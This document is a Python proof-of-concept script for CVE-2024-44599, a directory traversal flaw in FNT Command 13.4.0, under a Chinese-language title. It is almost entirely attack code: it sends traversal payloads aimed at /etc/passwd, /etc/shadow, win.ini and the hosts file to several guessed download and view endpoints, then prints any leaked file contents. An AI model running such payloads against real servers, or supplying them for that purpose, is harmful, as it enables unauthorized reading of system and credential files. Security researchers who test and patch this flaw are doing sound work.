CVE-2024-44599 | FNT Command 目录遍历漏洞

import requests import urllib.parse # CVE-2024-44599 Directory Traversal PoC # Target: FNT Command 13.4.0 target_url = "http://target.com/fnt-command" # Path traversal payloads to read sensitive files payloads = [ "../../../../../../etc/passwd", "../../../../../../windows/win.ini", "../../../../../../../../etc/shadow", "..\..\..\..\..\windows\system32\drivers\etc\hosts" ] def test_directory_traversal(): print(f"[*] Testing CVE-2024-44599 on {target_url}") for payload in payloads: # Try different path traversal patterns encoded_payload = urllib.parse.quote(payload, safe='') # Common vulnerable endpoints endpoints = [ f"{target_url}/download?file={payload}", f"{target_url}/file?path={payload}", f"{target_url}/view?file={encoded_payload}", f"{target_url}/api/download?filename={payload}" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: if 'root:' in response.text or '[extensions]' in response.text: print(f"[+] VULNERABLE! {endpoint}") print(f"[+] Content preview:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[-] No obvious vulnerability found (manual testing recommended)") return False if __name__ == "__main__": test_directory_traversal()